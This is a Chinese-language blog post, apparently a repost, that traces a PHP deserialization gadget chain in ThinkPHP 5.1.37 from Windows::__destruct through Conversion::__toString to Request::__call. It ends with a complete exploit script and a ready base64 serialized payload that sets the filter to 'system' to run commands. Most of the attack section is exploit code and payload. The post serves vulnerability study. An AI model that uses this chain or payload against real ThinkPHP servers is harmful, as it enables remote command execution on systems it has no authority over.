Thinkphp 5.1.37 反序列化利用鏈


參考文章:https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/

自己就跟着走一遍體會下!

反序列化的常見起點

__wakeup 一定會調用

__destruct 一定會調用

__toString 當一個對象被反序列化后又被當做字符串使用

反序列化的常見中間跳板:

__toString 當一個對象被當做字符串使用

__get 讀取不可訪問或不存在屬性時被調用

__set 當給不可訪問或不存在屬性賦值時被調用

__isset 對不可訪問或不存在的屬性調用isset()或empty()時被調用

形如 $this->$func();

反序列化的常見終點:

__call 調用不可訪問或不存在的方法時被調用

call_user_func 一般php代碼執行都會選擇這里

call_user_func_array 一般php代碼執行都會選擇這里

現在又多了phar反序列化的利用方式,能夠反序列化其metadata部分,利用的范圍增加了許多!


環境:thinkphp 5.1.37

漏洞挖掘分析

1、尋找function __destruct的析構函數為如下:

這里跟的是Windows類

其中removeFiles 方法中 file_exists 能夠觸發 __toString 方法

可以對__toSting 方法進行全局搜索 發現 Conversion 中有實現

它會調用 toJson 方法

toJson中接着會調用 toArray 方法,繼續跟

在該 toArray 方法中 就可以去尋找能不能找到想要的反序列化的終點造成命令執行的POP鏈,滿足條件都為 $可控變量->方法(參數可控)

這里找的是如下這塊

因為滿足條件需要時 $可控變量->方法(參數可控),所以還要看 $relation 能否可控,受getRelation函數的影響

那么 $this->append ,append變量就一定需要控制

接着走的當前流程就是如下

這時候 $relation->visible($name); 就會去調用__call方法,我們需要找一個能夠利用的地方

利用的地方的條件需要:

1.該類中沒有"visible"方法, 因為這樣才能觸發__call方法

2.實現了__call方法 ,並且__call方法中有我們想要的東西,比如 call_user_func_array call_user_func 等等

Request類中的 __call方法 就滿足條件,並且 $this->hook 可控

尋找當前類中能夠利用的函數,比如 isAjax ,其中調用了param函數,那么肯定就能觸發input函數了,可以回顧下tp 5.0/1.x的命令執行漏洞!

構建EXP

可以先從第一個__destruct,那么我們用到的有Windows類,並且第二個__toString需要觸發條件是我們找好的一個類Conversion

但是你又會發現該類是trait所修飾的,那我們不能直接拿來實例化,所以可以通過找繼承這個類的來,可以找到Model類use了這個Conversion類,所以可以繼續看Model是否符合我們的需要

然而你又會發現Model還是一個抽象類,那又不行,所以繼續看誰繼承了Model類

剛剛好有一個類符合我們的需求Pivot類

然后我們最后執行的話還需要通過Request類,那么到這里的話我們要用的類一共有三大類,Pivot,Windows,Request類

那么這里還需要繼續分析,這三個類中的屬性和方法我們要怎么寫?

先看Windows類,想要讓它觸發__toString方法,那么它的files屬性一定需要一個類,並且就是Pivot類,因為這樣才可以觸發Pivot繼承來自Conversion的__toString方法

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

繼續看第二個,也就是我們的Pivot類,這個類其實就是一個傀儡的作用,主要就是為的Conversion中的__toString方法,並且我們還需要觸發Request類,觸發來自append和data屬性,所以這兩個屬性中我們還需要填上對應的要用的數據

則代碼如下所示

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        # append鍵必須存在,並且與$this->data相同
        $this->append = ["huha"=>[]];
        $this->data = ["huha"=>new Request()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

然后考慮最后一個Request類,因為我們需要使用這個類的isAjax方法和執行函數的屬性,所以該類為如下:

namespace think;
class Request{
    protected $hook = [];
    protected $filter = "system";
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'huha'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

那么到這里的話,構建代碼如下:

abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        # append鍵必須存在,並且與$this->data相同
        $this->append = ["huha"=>[]];
        $this->data = ["huha"=>new Request()];
    }
}

namespace think\model;
use think\Model;

class Pivot extends Model
{
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

測試代碼:

最終EXP:

<?php

namespace think;
class Request{
    protected $hook = [];
    protected $filter = "system";
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'huha'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        # append鍵必須存在,並且與$this->data相同
        $this->append = ["huha"=>[]];
        $this->data = ["huha"=>new Request()];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
//var_dump(new Windows());
echo base64_encode(serialize(new Windows()));

// TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJodWhhIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJodWhhIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czo0OiJodWhhIjt9fX19fX0=
?>

最后全部的流程圖如下:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM